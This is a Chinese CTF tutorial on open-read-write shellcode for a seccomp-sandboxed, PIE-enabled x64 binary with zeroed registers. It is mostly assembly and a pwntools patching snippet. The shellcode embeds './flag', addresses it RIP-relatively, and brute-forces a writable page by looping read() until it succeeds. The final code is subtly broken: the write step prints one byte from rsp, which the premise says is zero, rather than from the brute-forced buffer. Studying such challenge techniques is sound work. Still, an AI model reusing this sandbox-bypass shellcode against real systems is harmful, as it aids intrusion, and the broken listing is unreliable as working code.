ORW 之爆破可写内存地址

[PWN] ORW-爆破可写内存地址

至于 orw 的概念和流程,就不过多赘述了。常规 orw 的重要一步是将 flag read 到一块可写内存地址,一般直接读到栈顶或者 bss 段,但是有时会遇到 寄存器全部置零 + 没有可用的 bss + 开pie 的情况,无法直接得到可写地址,需要爆破一段地址。

下面假设程序

  • 沙箱只允许使用 open read write

  • 输入长度不限

  • 写入 shellcode 区域权限在写入前为 可读可写可执行,写入后为 可读可执行(不可写)

  • 运行 shellcode 前所有寄存器置零(除了 rip )

  • x64

  • 开启 pie 保护

  • 没有 flag 文件路径字符串

牢记 orw 的系统调用方式

  • open : fd = open(filename,0),rax = 2

  • read : read(fd,bufaddr,size),rax = 0

  • write : write(1,bufaddr,size),rax = 1

step1. open

调用 open,需要把寄存器设为如下内容

寄存器
rdi 文件目录的字符串地址
rsi 0,代表只读
rax 2,open 的系统调用号

rsi 和 rax 很好布置,关键在于 rdi,程序中没有 flag 文件路径的字符串,又不能直接传 /flag 进去

对于这个问题目前想的有两个办法,一种是在 shellcode 内嵌字符串,一种是先爆破可写地址,/flag 压栈以后用这个字符串的地址去进行 open。下面只演示第一种。

1
2
3
4
5
lea rdi, [rip + 0x00]
xor rsi, rsi
mov al, 2
syscall
.ascii "./flag\\x00"

[rip + 0x00] 作为文件名地址加载到 rdi,其中 0x00 代指一个偏移量

rip 用于指向下一条指令的地址,在完整 shellcode 中,.ascii "./flag\\x00" 距离 lea rdi, [rip + 0x00] 长度是固定的,所以经过替换 0x00 为一个合适的值,就可以让 [rip + 0x00] 指向 .ascii "./flag\\x00",实现 让 rdi 指向 文件目录的字符串地址

替换步骤放到最后,姑且留个坑。注意,.ascii "./flag\\x00" 要放到 shellcode 最后。

step2. read

调用 read,需要把寄存器设为以下内容

寄存器
rdi 3,文件描述符
rsi ___,写入位置(未知)
rdx 0x50,写入长度(合适即可)
rax 0,read的系统调用号

先假设写入到 0xabcdef 这个位置

1
2
3
4
5
mov rdi, 3
mov rdx, 0x50
xor rax, rax
mov rsi, 0xabcdef
syscall

(mov rdi, 3 也可以写为 mov rdi, rax。open 之后会将返回值(文件描述符)保存到 rax,对于这种情况,通常为3)

我们需要做的就是爆破一个所谓的 0xabcdef 去写入 flag

大多数函数的返回值都会保存到 rax 寄存器上,read 也不例外。写入失败(当前写入地址不是可写地址) 和 写入成功(当前地址可写,成功写入内容) 的 返回值 rax 是不同的,可以通过 read 后的 rax 值来判断是否写入成功。如果写入失败就更改写入地址再次尝试,直至成功。

对于返回值,这里引用 csdn

1、如果读取成功,则返回实际读到的字节数。这里又有两种情况:一是如果在读完count要求字节之前已经到达文件的末尾,那么实际返回的字节数将小于count值,但是仍然大于0;二是在读完count要求字节之前,仍然没有到达文件的末尾,这是实际返回的字节数等于要求的count值。

2、如果读取时已经到达文件的末尾,则返回0。

3、如果出错,则返回-1。

这里用 test + jnz 汇编进行判断

对于 test 指令详细用法,参考 csdn

1
2
3
4
5
6
7
8
9
10
11
12
13
    mov r15, 0x777777777777
read_loop:
mov rdi, 3
mov rdx, 0x50
xor rax, rax
mov rsi, r15
syscall
test rax, rax
js add_r15
jmp write
add_r15:
add r15, 0x1000
jmp read_loop

这段 shellcode 流程为:

  1. 指定了一个起始爆破地址,存到 r15。开启 pie 后,从 0 开始爆破显然不现实,给出合适起始值能大大缩减爆破时间。

  2. 设置好 read 的系统调用号,将 r15 的值作为写入位置,进行 read

  3. 如果 test read 成功,跳到 write 进行输出。如果失败,跳到 add_r15 增加 r15 的值,然后再次进行 read

结合一下 open 和 read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    lea rdi, [rip + 0x00]
xor rsi, rsi
mov al, 2
syscall

mov r15, 0x777777777777
read_loop:
mov rdi, 3
mov rdx, 0x50
xor rax, rax
mov rsi, r15
syscall
test rax, rax
js add_r15
jmp write
add_r15:
add r15, 0x1000
jmp read_loop

.ascii "./flag\\x00"

step3. write

按照正常调用即可

寄存器
rdi 1
rsi 输出位置的地址
rdx 0x20
rax 1
1
2
3
4
5
6
write:
mov rdi, 1
mov rsi, rsp
mov rdx, 1
mov rax, 1
syscall

raw shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    lea rdi, [rip + 0x00]
xor rsi, rsi
mov al, 2
syscall

mov r15, 0x777777777777
read_loop:
mov rdi, 3
mov rdx, 0x50
xor rax, rax
mov rsi, r15
syscall
test rax, rax
js add_r15
jmp write
add_r15:
add r15, 0x1000
jmp read_loop

write:
mov rdi, 1
mov rsi, rsp
mov rdx, 1
mov rax, 1
syscall
.ascii "./flag\\x00"

patch shellcode

根据上面所说,open 步骤使用的内嵌 "./flag" 字符串,相对偏移是 0x00,需要对这个值进行修正

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
raw_shellcode = asm(shellcode)

filename = b'./flag\x00'
filename_offset = raw_shellcode.index(filename)
buffer_offset = filename_offset + len(b'./flag\x00')

shellcode_bytes = bytearray(raw_shellcode)

def patch_offset(shellcode, instr_start, target_offset):
rip_after_lea = instr_start + 7
offset = target_offset - rip_after_lea
shellcode[instr_start+3:instr_start+7] = p32(offset)

lea_rdi_instr = 0
patch_offset(shellcode_bytes, lea_rdi_instr, filename_offset)
final_shellcode = bytes(shellcode_bytes)